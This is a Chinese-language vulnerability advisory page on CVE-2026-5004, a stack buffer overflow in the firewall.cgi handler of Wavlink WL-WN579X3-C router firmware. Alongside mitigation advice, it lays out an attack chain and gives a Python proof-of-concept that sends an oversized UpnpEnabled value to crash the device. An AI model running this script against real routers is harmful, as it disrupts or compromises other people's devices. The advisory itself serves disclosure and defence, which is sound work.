IPBUF安全漏洞报告
English
CVE-2026-5004 CVSS 8.8 高危

CVE-2026-5004 Wavlink路由器栈溢出漏洞

披露日期: 2026-03-28

漏洞信息

漏洞编号
CVE-2026-5004
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wavlink WL-WN579X3-C

相关标签

栈溢出缓冲区溢出RCEWavlinkIoT路由器漏洞

漏洞概述

Wavlink WL-WN579X3-C 231124版本存在高危栈溢出漏洞。该漏洞位于UPNP处理组件的/cgi-bin/firewall.cgi文件中,影响函数sub_4019FC。攻击者通过恶意构造UpnpEnabled参数,可引发基于栈的缓冲区溢出。由于攻击可远程进行且无需用户交互,该漏洞对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的根源在于Wavlink路由器固件中/cgi-bin/firewall.cgi对用户输入的验证缺失。在处理UPNP配置请求时,程序在函数sub_4019FC中直接将用户提交的UpnpEnabled参数复制到栈上的局部缓冲区,而未检查输入数据的长度。由于未实施适当的边界检查,当发送超长字符串时,数据将溢出缓冲区并覆盖返回地址或其他关键栈帧数据。根据CVSS矢量(AV:N/AC:L/PR:L/UI:N/S:U),攻击者需要低权限账号即可通过网络发起攻击。由于厂商未发布补丁,攻击者可利用公开的PoC代码在受影响设备上执行任意代码,导致设备被完全控制或服务中断,严重威胁网络安全。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出运行固件版本231124的Wavlink WL-WN579X3-C设备,并确定其管理端口开放。
STEP 2
2. 获取低权限
攻击者通过暴力破解或利用默认凭据获取路由器的低权限用户账号(满足PR:L要求)。
STEP 3
3. 发送恶意载荷
攻击者向/cgi-bin/firewall.cgi端点发送特制的HTTP POST请求,在UpnpEnabled参数中填充超长字符串。
STEP 4
4. 触发溢出
服务器端处理请求时,函数sub_4019FC未检测长度直接拷贝数据,导致栈缓冲区溢出。
STEP 5
5. 执行代码或崩溃
溢出覆盖返回地址,攻击者劫持控制流执行任意Shellcode,或者导致设备崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_ip): # The vulnerable endpoint url = f"http://{target_ip}/cgi-bin/firewall.cgi" # The vulnerable parameter is 'UpnpEnabled'. # Sending a large string to trigger the stack-based buffer overflow. # Buffer size needs to be determined via fuzzing, 1000 bytes is a reasonable starting point for PoC. payload = "A" * 1000 data = { "UpnpEnabled": payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic <Base64_Credentials>" # PR:L implies authentication is required } try: response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[+] Payload sent to {url}") print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Request accepted, device may be vulnerable.") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") # If the connection drops immediately, it might indicate a crash (DoS) if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP exploit(target)

影响范围

Wavlink WL-WN579X3-C 231124

防御指南

临时缓解措施
鉴于厂商目前未对此漏洞做出回应,建议用户立即在防火墙中阻止对外部对路由器管理端口(通常为80/443)的访问。如果不需要远程管理,请确保该功能处于关闭状态。此外,建议暂时关闭UPnP服务,以防止该漏洞被利用。密切关注安全社区发布的临时修复方案或第三方固件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表